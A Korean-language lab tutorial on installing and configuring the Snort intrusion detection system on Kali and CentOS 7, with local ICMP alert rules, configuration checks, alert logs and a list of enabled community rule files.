pps(Packet Per Second)
네트워크 성능 측정 단위, 1초 동안 보낼 수 있는 패킷 측정

1 Mbps 는 1,048,576 bps
2,048,000 bps 는 약 2 Mbps

1K (킬로) = 1024 -&gt; 2의 10승
1M (메가) = 1024 * 1024 -&gt;2의 20승
1G (기가) = 1024 * 1024 * 1024 -&gt;2의 30승</code></pre><p>💥💥💥💥💥💥💥💥
##########
📌 *<em>snort *</em> 📌
##########</p>
<p><a href="http://snort.org/">http://snort.org/</a></p>
<p>참고 : <a href="https://ko.wikipedia.org/wiki/%EC%8A%A4%EB%85%B8%ED%8A%B8">https://ko.wikipedia.org/wiki/스노트</a>
<a href="https://ko.wikipedia.org/wiki/%ED%98%B8%EC%8A%A4%ED%8A%B8_%EA%B8%B0%EB%B0%98_%EC%B9%A8%EC%9E%85_%ED%83%90%EC%A7%80_%EC%8B%9C%EC%8A%A4%ED%85%9C">https://ko.wikipedia.org/wiki/호스트_기반_침입_탐지_시스템</a></p>
<p><strong>IDS 종류 : NIDS, HIDS</strong>
<strong>-NIDS(네트워크 기반 IDS): 네트워크에 설치해서 지나가는 패킷들을 모두 검사
-HIDS(호스트 기반 IDS): 호스트에 설치해서 호스트로 들어온 패킷들을 모두 검사</strong></p>
<p>snort 제작사 Cisco에서는 snort가 최신 공격패턴을 탐지할 수 있도록 룰셋을 만들어서 배포하며 
룰셋은 커뮤니티 버전(무료), 일반가입자 버전(무료), 구독자 버전(유료) 3가지가 존재한다.
유료가입자는 기술 지원과 함께 바로 룰셋 업데이트를 적용 받지만 일반 사용자는 30일이 지난 후 
동일한 룰셋을 다운받을 수 있다.)
Community rules  : 커뮤니티 버전(무료)으로 누구나 다운로드 받을 수 있다.
Registered rules : 일반가입자 버전(무료)으로 회원등록 후 다운로드 받을 수 있다. 
Subscriber rules : 구독자 버전(유료)으로 비용을 지불해야 다운로드 받을 수 있다.</p>
<p>local.rules 파일이 기본적으로 없으므로 룰 파일을 생성한다.
룰의 sid 숫자 범위 
99 이하 : 시스템 내부에서 사용
100 ~ 1,000,000이하 : 외부에서 제작해서 배포하는 탐지 규칙에서 사용
1,000,001 이상  : 사용자가 탐지 규칙을 설정할 때 만들어서 사용</p>
<blockquote>
<p><strong>실습&gt; Kali에서 snort 설치하기</strong></p>
</blockquote>
<pre><code>[root@kali ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
nameserver 168.126.63.1

Kali Linux update &amp; upgrade
[root@kali ~]# apt-get -y update &amp;&amp; apt-get -y upgrade &amp;&amp; apt-get -y dist-upgrade

1. snort 설치
snort 를 설치한다.
[root@kali ~]# apt -y install snort
[root@kali ~]# which snort
/usr/sbin/snort
[root@kali ~]# snort --help
USAGE: snort [-options] &lt;filter options&gt;
Options:
        -A         Set alert mode: fast, full, console, test or none  (alert file alerts only)
                   &quot;unsock&quot; enables UNIX socket logging (experimental).

2. snort 룰 등록
[root@kali ~]# vi /etc/snort/rules/local.rules
alert icmp any any -&gt; any any (msg:&quot;ICMP ping test&quot;; sid: 1000001;)

3. snort 실행
/etc/snort/snort.conf : snort 의 설정파일
[root@kali ~]# vi /etc/snort/snort.conf 
ipvar HOME_NET any
ipvar EXTERNAL_NET any

snort를 실행하기 전에 설정파일에 문제가 있는지 테스트한다.
-T : 설정파일 체크
설정파일에 문제가 없는 경우에는 successfully 메세지가 출력된다.
[root@kali ~]# snort -T -i eth0 -c /etc/snort/snort.conf 
  :
  :(생략)
Snort successfully validated the configuration!
Snort exiting

설정파일에 문제가 없는 경우에는 Fatal Error 메세지가 출력된다.
[root@kali ~]# snort -T -i eth0 -c /etc/snort/snort.conf 
Running in Test mode

        --== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file &quot;/etc/snort/snort.conf&quot;
ERROR: /etc/snort/snort.conf(65) Invalid configuration line: abc

Fatal Error, Quitting..


snort를 실행해서 침입탐지 시스템을 가동한다.
-i : 인터페이스
-c : 설정파일
[root@kali ~]# snort -i eth0 -c /etc/snort/snort.conf 
  :
  :(생략)

4. ping 통신 확인
C:\Users\user1&gt;ping 200.200.200.3

5. 접속 로그 확인
/var/log/snort/ 로그 디렉터리에 snort.alert.fast 파일에 기록된다.
[root@kali ~]# tail -f /var/log/snort/snort.alert.fast
03/02-21:31:04.205588  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.3
03/02-21:31:04.205603  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -&gt; 200.200.200.1
03/02-21:31:05.221719  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.3
03/02-21:31:05.221734  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -&gt; 200.200.200.1
03/02-21:31:06.238199  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.3
03/02-21:31:06.238217  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -&gt; 200.200.200.1
03/02-21:31:07.249867  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.3
03/02-21:31:07.249883  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.3 -&gt; 200.200.200.1


룰을 변경해서 로그를 확인한다.

[root@kali ~]# vi /etc/snort/rules/local.rules
#alert icmp any any -&gt; any any (msg:&quot;ICMP ping test&quot;; sid: 1000001;)
alert icmp 200.200.200.1 any -&gt; any any (msg:&quot;ICMP ping test&quot;; sid: 1000005;)

[root@kali ~]# tail -f /var/log/snort/snort.alert.fast

[root@kali ~]# snort -q -i eth0 -c /etc/snort/snort.conf


C:\Users\user1&gt;ping 200.200.200.3

Ping 200.200.200.3 32바이트 데이터 사용:
200.200.200.3의 응답: 바이트=32 시간&lt;1ms TTL=64
200.200.200.3의 응답: 바이트=32 시간&lt;1ms TTL=64
200.200.200.3의 응답: 바이트=32 시간&lt;1ms TTL=64
200.200.200.3의 응답: 바이트=32 시간&lt;1ms TTL=64

200.200.200.3에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 0ms, 평균 = 0ms

[root@kali ~]# tail -f /var/log/snort/snort.alert.fast

03/02-21:37:04.198855  [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.3
03/02-21:37:05.216602  [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.3
03/02-21:37:06.233063  [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.3
03/02-21:37:07.245918  [**] [1:1000005:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.3
</code></pre><blockquote>
<p><strong>실습&gt; snort HIDS 기반 리눅스 설치</strong></p>
</blockquote>
<pre><code>배포판: CentOS 7
VMname: snortHIDS
VMnetwork: VMnet8
HDD: 기본값 20G
파티션: 자동 파티션
IP Address: 200.200.200.101/24
Gateway: 200.200.200.2
DNS: 168.126.63.1
[x] Automatically connect

-- 실습 순서 --
1. EPEL 저장소 설치
2. 패키지 설치
3. 패키지 확인
4. snort 다운로드
5. 컴파일 및 설치
6. 설치 확인
7. rule 다운로드
8. 설정파일 수정
9. 사용자 계정 추가 및 권한설정
10. 룰 주석 설정
11. snort 설정 확인
12. 룰 설정 확인
13. 로그 확인
-- 실습 순서 --

*** 만약 CentOS 7 에서 설치하는 것은 http://snort.org 홈페이지에서 설치에 대한
*** 내용을 참고하면 된다.
*** 메인 -&gt; Get Started -&gt; CentOS 


-- iptables 룰 정책 --
# systemctl stop firewalld
# systemctl disable firewalld
# systemctl stop iptables 
# systemctl disable iptables 
-- iptables 룰 정책 --

1. EPEL 저장소 설치
EPEL(Extra Packages for Enterprise Linux) 저장소를 설치한다.
# yum -y install epel-release

2. 패키지 설치
snort 를 설치하기 위한 필요한 패키지를 설치한다.
# yum -y install gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump
# yum -y install libpcap-devel libdnet libnet-devel

3. 패키지 확인
패키지들의 설치여부를 확인한다.
설치여부를 확인할 때 패키지가 설치되어 있지 않습니다라는 메세지가 나오면 설치를 해야한다.
# rpm -q gcc flex bison zlib zlib-devel libpcap libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump

4. snort 다운로드
https://www.snort.org/#get-started 홈페이지에 설치에 대한 내용이 있음.

winscp로 아래 두 개의 파일을 리눅스 /root 디렉터리로 업로드한다.
daq-2.0.6.tar.gz
snort-2.9.11.1.tar.gz 

5. 컴파일 및 설치
/root 디렉터리에서 다운로드 받아서 설치를 진행한다.
--enable-sourcefire : 특정 빌드 옵션 사용(--enable-perfprofiling 과 --enable-ppm를 통합한 옵션)
--enable-ppm : 패킷 / 규칙 성능 모니터를 활성화
--enable-perfprofiling : 전 처리기 및 규칙 성능 프로파일링 사용

현재 시간을 설정하고 컴파일한다.
rdate 의 시간설정이 안되면 date 명령어서 시간을 설정한다.
# yum -y install rdate
# rdate -s time.bora.net

# tar xzf daq-2.0.6.tar.gz
# cd daq-2.0.6
# ./configure &amp;&amp; make &amp;&amp; make install
# cd ..

# tar xzf snort-2.9.11.1.tar.gz
# cd snort-2.9.11.1
# ./configure --enable-sourcefire &amp;&amp; make &amp;&amp; make install
# cd ..

# ls -l /usr/local/bin
합계 10312
-rwxr-xr-x. 1 root root      600  3월 17 12:06 daq-modules-config
-rwxr-xr-x. 1 root root 10483104  3월 17 12:08 snort
-rwxr-xr-x. 1 root root    26408  3월 17 12:08 u2boat
-rwxr-xr-x. 1 root root    36872  3월 17 12:08 u2spewfoo

6. 설치 확인
# snort -V

   ,,_     -*&gt; Snort! &lt;*-
  o&quot;  )~   Version 2.9.11.1 GRE (Build 268) 
   &#39;&#39;&#39;&#39;    By Martin Roesch &amp; The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.5.3
           Using PCRE version: 8.32 2012-11-30
           Using ZLIB version: 1.2.7


DAQ 는 기존 패킷 참조 방식을 대체 하는 역할을 하며, 더욱 쉽게 패킷 캡처를 구현하게 한다.
# snort --daq-list
Available DAQ modules:
pcap(v3): readback live multi unpriv
ipfw(v3): live inline multi unpriv
dump(v3): readback live inline multi unpriv
afpacket(v5): live inline multi unpriv

7. rule 다운로드
snort 제작사 Cisco에서는 snort가 최신 공격패턴을 탐지할 수 있도록 룰셋을 만들어서 배포하며 
룰셋은 커뮤니티 버전(무료), 일반가입자 버전(무료), 구독자 버전(유료) 3가지가 존재한다.
유료가입자는 기술 지원과 함께 바로 룰셋 업데이트를 적용 받지만 일반 사용자는 30일이 지난 후 
동일한 룰셋을 다운받을 수 있다.)
Community rules  : 커뮤니티 버전(무료)으로 누구나 다운로드 받을 수 있다.
Registered rules : 일반가입자 버전(무료)으로 회원등록 후 다운로드 받을 수 있다. 
Subscriber rules : 구독자 버전(유료)으로 비용을 지불해야 다운로드 받을 수 있다.

/etc/snort 디렉터리를 생성한다.
# mkdir /etc/snort
# cd /etc/snort
# cp ~/snort-2.9.11.1/etc/* .

snort 사이트에서 community rules 파일을 다운로드 받는다.
# yum -y install wget
# wget https://www.snort.org/downloads/community/community-rules.tar.gz 
# tar xzf community-rules.tar.gz 

룰 디렉토리를 생성한다.
# mkdir rules

화이트리스트 룰과 블랙리스트 룰 파일을 생성한다.
화이트리스트 룰 : 신뢰할 수 있는 룰(허용할 룰)을 설정하는 방식
블랙리스트 룰 : 신뢰하지 않는 룰(거부할 룰)을 설정하는 방식
# touch rules/white_list.rules
# touch rules/black_list.rules
# ls -l rules/
합계 0
-rw-r--r--. 1 root root 0  3월 17 12:16 black_list.rules
-rw-r--r--. 1 root root 0  3월 17 12:16 white_list.rules

8. 설정파일 수정
var HOME_NET : snort 에서 탐지할 목적지 ip 주소를 설정한다.(200.200.200.101/32)
var EXTERNAL_NET : snort 에서 탐지할 출발지 ip 주소를 설정한다.(any)
var RULE_PATH : 룰 파일이 저장된 디렉터리를 지정한다.

vim을 설치한다.
# yum -y install vim
# vim /etc/vimrc
  :
  :(생략)
set nu
set ai
set bg=dark
set sw=4
set ts=4
set expandtab
set cursorline
set fileencodings=&#39;utf8,euckr&#39;

# alias vi=vim
# echo alias vi=vim &gt;&gt;  ~/.bashrc

/etc/snort/snort.conf 파일을 열어서 설정에 대한 내용을 수정한다.
# vi snort.conf
-- snort.conf --
  :
  :(생략)
#ipvar HOME_NET any  &lt;-- 45번 라인
# 자신의 IP주소를 ifconfig 로 확인해서 HOME_NET에 설정한다.
ipvar HOME_NET 200.200.200.101/32

# Set up the external network addresses. Leave as &quot;any&quot; in most situations
ipvar EXTERNAL_NET any    
  :
  :(생략)
#var RULE_PATH ../rules  &lt;-- 105번 라인
var RULE_PATH /etc/snort/rules  

#var SO_RULE_PATH ../so_rules
var SO_RULE_PATH /etc/snort/so_rules

#var WHITE_LIST_PATH ../rules  &lt;-- 116번 라인
#var BLACK_LIST_PATH ../rules
var WHITE_LIST_PATH /etc/snort/rules
var BLACK_LIST_PATH /etc/snort/rules

# 551번 라인근처에 $RULE_PATH 부분
# local.rules 는 빼고 
# app-detect.rules ~ x11.rules 까지 나머지는 모두 주석으로 처리한다.
# vi 에서 한번에 주석처리하기 : 
# 사용법: :시작줄번호,끝줄번호s/^/#
# 스크립트로 작성하면 sed를 이용해서 자동화 처리를 이용할 수도 있다.
# 라인 번호는 각자 다를 수 있기 때문에 자신의 라인번호를 확인한다.
# app-detect.rules가 553라인이고 x11.rules가 656라인 이라고 가정하고
# 553라인 ~ 656라인까지 주석으로 막아준다.
# :553,656s/^/#
include $RULE_PATH/local.rules

#include $RULE_PATH/app-detect.rules
  : 
  : 나머지 룰 파일들을 모두 주석으로 처리한다.
#include $RULE_PATH/x11.rules

###################################################
# Step #8: Customize your preprocessor and decoder alerts
# For more information, see README.decoder_preproc_rules
###################################################
  :
  :(생략)
-- snort.conf --

/etc/snort/rules/local.rules 파일을 생성한다.
# touch /etc/snort/rules/local.rules

9. 사용자 계정 추가 및 권한설정
snort 를 실행할 사용자를 생성하고 /etc/snort 디렉토리는 snort 사용자만 접근할
수 있게 허가권의 접근 권한을 설정한다.
 -u 40000: UID 40000
 -d /var/log/snort: 홈디렉터리 
 -s /sbin/nologin: 셸 
 -c SNORT_IDS: 설명문
# useradd snort -u 40000 -d /var/log/snort -s /sbin/nologin -c SNORT_IDS
# tail -1 /etc/passwd
snort:x:40000:40000:SNORT_IDS:/var/log/snort:/sbin/nologin

# chown -R snort:snort /etc/snort
# chmod 700 /etc/snort
# ls -ld /etc/snort
drwx------. 4 snort snort 4096  9월  1 19:23 /etc/snort/

10. 룰 주석설정
설정에 기본적으로 들어있는 룰중에서 없는 룰파일들은 주석으로 처리한다.
257번 라인 근처의 dynamicdetection 부분을 주석처리한다.
# vi snort.conf 
-- snort.conf --
  :
  :(생략)
# path to dynamic rules libraries
#dynamicdetection directory /usr/local/lib/snort_dynamicrules 
  :
  :(생략)
-- snort.conf --

11. snort 설정확인
설정파일 실패: 설정파일 테스트 후 Fatal Error, Quitting.. 메세지가 출력되고 종료된다.
설정파일 성공: 설정파일 테스트 후 Snort successfully validated the configuration! 메세지가 출력되고 종료된다.

자신의 인터페이스를 확인한 후 사용한다.
snort --help 옵션을 이용해서 도움말을 확인한다.
# snort --help 

   ,,_     -*&gt; Snort! &lt;*-
  o&quot;  )~   Version 2.9.11.1 GRE (Build 268)
   &#39;&#39;&#39;&#39;    By Martin Roesch &amp; The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.4.0
           Using PCRE version: 7.8 2008-09-05
           Using ZLIB version: 1.2.3
  :
  :(생략)


-T : 테스트 옵션
-i : 인터페이스 옵션
-u : 사용자 옵션
-g : 그룹 옵션
-c : 설정파일 옵션
# snort -T -i ens33 -u snort -g snort -c /etc/snort/snort.conf
Running in Test mode

        --== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
  :
  :(생략)
Snort successfully validated the configuration!  &lt;-- 이 메세지가 나오면 일단 설치와 설정은 성공이다!
Snort exiting

12. 스노트 룰 등록
local.rules 파일을 touch로 생성했으므로 그 안에 룰에 대한 설정 내용이 없기 때문에 이를 생성한다.
icmp 프로토콜이면 탐지하는 룰을 /etc/snort/rules/local.rules 파일에 저장한다.

# vi /etc/snort/rules/local.rules 

# alert: action
# icmp: protocol
# any: source IP
# any: source Port
# -&gt; : direction operator
# any: destination IP
# any: destination Port
# ( rule option )
#alert icmp 200.200.200.1 any -&gt; any any (msg:&quot;ICMP ping test&quot;; sid: 1000001;)
alert icmp any any -&gt; any any (msg:&quot;ICMP ping test&quot;; sid: 1000001;)

snort를 실행한다.
옵션에 -T 가 없으면 테스트가 아니라 실제 IDS를 구동하는 상태가 된다.
snort 를 실행하면 멈춰있는 상태로 놔둔다.
-A console : 화면이 출력
-i : 인터페이스 옵션
-u : 사용자 옵션
-g : 그룹 옵션
-c : 설정파일 옵션
-q : 조용히
# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 


Host OS에서 CentOS7(으)로 ping test를 한다.
C:\Users\user1&gt;ping 200.200.200.101

Ping 200.200.200.101 32바이트 데이터 사용:
200.200.200.101의 응답: 바이트=32 시간&lt;1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간&lt;1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간&lt;1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간=1ms TTL=64

200.200.200.101에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 1ms, 평균 = 0ms

아래처럼 로그에 기록되면 정상적으로 snort가 동작이 되는 것이다.
# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 
03/03-14:19:51.661558  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/03-14:19:51.661599  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
03/03-14:19:52.678630  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/03-14:19:52.678681  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
03/03-14:19:53.692494  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/03-14:19:53.692524  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
03/03-14:19:54.707927  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
03/03-14:19:54.707962  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1

^C &lt;-- 중지한다.

13. 로그 확인
로그 디렉터리에 로그파일을 확인한다. 
# ls -l   /var/log/snort/
합계 0
-rw-------. 1 snort snort 744  3월  3 14:19 snort.log.1646284778</code></pre><blockquote>
<p><strong>실습&gt; local.rules 수정</strong></p>
</blockquote>
<pre><code>1. 첫 번째 설정
[200.200.200.1] &lt;---------&gt; [snort] &lt;---------&gt; [200.200.200.101]
alert icmp any any -&gt; any any (msg:&quot;ICMP ping test&quot;; sid: 1000001;)

콘솔에 남겨진 로그
10/14-15:16:53.002537  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
10/14-15:16:53.002562  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
10/14-15:16:54.010514  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
10/14-15:16:54.010548  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
10/14-15:16:55.020729  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
10/14-15:16:55.020749  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
10/14-15:16:56.029028  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
10/14-15:16:56.029049  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1

2. 두 번째 설정
[200.200.200.1] ----------&gt; [snort] ---------&gt; [200.200.200.101]
alert icmp 200.200.200.1 any -&gt; any any (msg:&quot;ICMP ping test&quot;; sid: 1000001;)

10/14-15:18:03.117855  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
10/14-15:18:04.131175  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
10/14-15:18:05.140291  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101
10/14-15:18:06.150892  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -&gt; 200.200.200.101

3. 세 번째 설정
[200.200.200.1] &lt;---------- [snort] &lt;--------- [200.200.200.101]
alert icmp 200.200.200.101 any -&gt; any any (msg:&quot;ICMP ping test&quot;; sid: 1000001;)

10/14-15:18:36.605380  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
10/14-15:18:37.623441  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
10/14-15:18:38.633591  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
10/14-15:18:39.654005  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -&gt; 200.200.200.1
</code></pre><blockquote>
<p><strong>실습&gt; Kali에서 snort 설치하기</strong></p>
</blockquote>
<pre><code>[root@kali ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
nameserver 168.126.63.1

[root@kali ~]# cd
[root@kali ~]# mv /etc/apt/sources.list .
[root@kali ~]# cat &lt;&lt; EOF &gt;  /etc/apt/sources.list
deb http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse

deb http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse

deb http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse

deb http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse

deb http://archive.canonical.com/ubuntu focal partner
deb-src http://archive.canonical.com/ubuntu focal partner
EOF

[root@kali ~]# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32
[root@kali ~]# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 871920D1991BC93C
[root@kali ~]# apt update

1. snort 설치
snort 를 설치한다.
[root@kali ~]# apt -y install snort

2. rule 파일 복사
[root@kali ~]# tar czf rules.tar.gz /etc/snort/rules

3. rules 파일 원격 복사
[root@kali ~]# scp rules.tar.gz 200.200.200.101:</code></pre><blockquote>
<p><strong>실습&gt; rules 파일 수정</strong></p>
</blockquote>
<pre><code>/etc/snort/snort.conf 에서 rules 파일이 있는 것을 확인하고 주석을 제거한다.

200.200.200.101 에서 작업한다.

1. 룰 파일 주석 제거
Kali Linux에서 다운로드 받은 룰 파일의 리스트를 rules.txt 파일로 한 줄로 저장한다.
[root@localhost ~]# tar xzf rules.tar.gz 
[root@localhost ~]# ls rules -1 &gt; rules.txt

두 개의 파일을 열어서 주석을 하나하나 제거한다.
- /etc/snort/snort.conf, rules.txt
[root@localhost ~]# vi /etc/snort/snort.conf 

:vs rules.txt
553번 라인으로 이동해서 룰 파일의 주석을 제거해야 한다.

###################################################
# Step #7: Customize your rule set
# For more information, see Snort Manual, Writing Snort Rules
#
# NOTE: All categories are enabled in this conf file
###################################################

# site specific rules
include $RULE_PATH/local.rules

#include $RULE_PATH/app-detect.rules
include $RULE_PATH/attack-responses.rules
include $RULE_PATH/backdoor.rules
include $RULE_PATH/bad-traffic.rules
#include $RULE_PATH/blacklist.rules
#include $RULE_PATH/botnet-cnc.rules
#include $RULE_PATH/browser-chrome.rules
#include $RULE_PATH/browser-firefox.rules
#include $RULE_PATH/browser-ie.rules
#include $RULE_PATH/browser-other.rules
#include $RULE_PATH/browser-plugins.rules
#include $RULE_PATH/browser-webkit.rules
include $RULE_PATH/chat.rules
#include $RULE_PATH/content-replace.rules
include $RULE_PATH/ddos.rules
include $RULE_PATH/dns.rules
include $RULE_PATH/dos.rules
include $RULE_PATH/experimental.rules
#include $RULE_PATH/exploit-kit.rules
include $RULE_PATH/exploit.rules
#include $RULE_PATH/file-executable.rules
#include $RULE_PATH/file-flash.rules
#include $RULE_PATH/file-identify.rules
#include $RULE_PATH/file-image.rules
#include $RULE_PATH/file-multimedia.rules
#include $RULE_PATH/file-office.rules
#include $RULE_PATH/file-other.rules
#include $RULE_PATH/file-pdf.rules
include $RULE_PATH/finger.rules
include $RULE_PATH/ftp.rules
include $RULE_PATH/icmp-info.rules
include $RULE_PATH/icmp.rules
include $RULE_PATH/imap.rules
#include $RULE_PATH/indicator-compromise.rules
#include $RULE_PATH/indicator-obfuscation.rules
#include $RULE_PATH/indicator-shellcode.rules
include $RULE_PATH/info.rules
#include $RULE_PATH/malware-backdoor.rules
#include $RULE_PATH/malware-cnc.rules
#include $RULE_PATH/malware-other.rules
#include $RULE_PATH/malware-tools.rules
include $RULE_PATH/misc.rules
include $RULE_PATH/multimedia.rules
include $RULE_PATH/mysql.rules
include $RULE_PATH/netbios.rules
include $RULE_PATH/nntp.rules
include $RULE_PATH/oracle.rules
#include $RULE_PATH/os-linux.rules
#include $RULE_PATH/os-other.rules
#include $RULE_PATH/os-solaris.rules
#include $RULE_PATH/os-windows.rules
include $RULE_PATH/other-ids.rules
include $RULE_PATH/p2p.rules
#include $RULE_PATH/phishing-spam.rules
#include $RULE_PATH/policy-multimedia.rules
#include $RULE_PATH/policy-other.rules
include $RULE_PATH/policy.rules
#include $RULE_PATH/policy-social.rules
#include $RULE_PATH/policy-spam.rules
include $RULE_PATH/pop2.rules
include $RULE_PATH/pop3.rules
#include $RULE_PATH/protocol-finger.rules
#include $RULE_PATH/protocol-ftp.rules
#include $RULE_PATH/protocol-icmp.rules
#include $RULE_PATH/protocol-imap.rules
#include $RULE_PATH/protocol-pop.rules
#include $RULE_PATH/protocol-services.rules
#include $RULE_PATH/protocol-voip.rules
#include $RULE_PATH/pua-adware.rules
#include $RULE_PATH/pua-other.rules
#include $RULE_PATH/pua-p2p.rules
#include $RULE_PATH/pua-toolbars.rules
include $RULE_PATH/rpc.rules
include $RULE_PATH/rservices.rules
#include $RULE_PATH/scada.rules
include $RULE_PATH/scan.rules
#include $RULE_PATH/server-apache.rules
#include $RULE_PATH/server-iis.rules
#include $RULE_PATH/server-mail.rules
#include $RULE_PATH/server-mssql.rules
#include $RULE_PATH/server-mysql.rules
#include $RULE_PATH/server-oracle.rules
#include $RULE_PATH/server-other.rules
#include $RULE_PATH/server-webapp.rules
#include $RULE_PATH/shellcode.rules    &lt;-- 다른 것과 겹치는 부분 때문에 주석처리한 것이다.
include $RULE_PATH/smtp.rules
include $RULE_PATH/snmp.rules
#include $RULE_PATH/specific-threats.rules
#include $RULE_PATH/spyware-put.rules
include $RULE_PATH/sql.rules
include $RULE_PATH/telnet.rules
include $RULE_PATH/tftp.rules
include $RULE_PATH/virus.rules
#include $RULE_PATH/voip.rules
#include $RULE_PATH/web-activex.rules
include $RULE_PATH/web-attacks.rules
include $RULE_PATH/web-cgi.rules
include $RULE_PATH/web-client.rules
include $RULE_PATH/web-coldfusion.rules
include $RULE_PATH/web-frontpage.rules
include $RULE_PATH/web-iis.rules
include $RULE_PATH/web-misc.rules
include $RULE_PATH/web-php.rules
include $RULE_PATH/x11.rules

2. 룰 파일 복사
압축해제한 rules 디렉터리에서 룰 파일들을 /etc/snort/rules/ 디렉터리 복사한다.
이때 local.rules 만 빼고 복사한다.
local.rules: 사용자가 직접 만드는 룰이 이 파일에 저장된다.
[root@localhost ~]# cp rules/* /etc/snort/rules/
cp: overwrite `/etc/snort/rules/local.rules&#39;? n

3. 설정 테스트
-T 옵션을 이용해서 snort 설정 테스트를 했을 때 
Snort successfully validated the configuration! 메세지가 나오면 룰에 문제가 없다라는 의미이다.
[root@localhost ~]# snort -T -i ens33 -u snort -g snort -c /etc/snort/snort.conf
  :
  :
Snort successfully validated the configuration!
Snort exiting

4. snort 실행
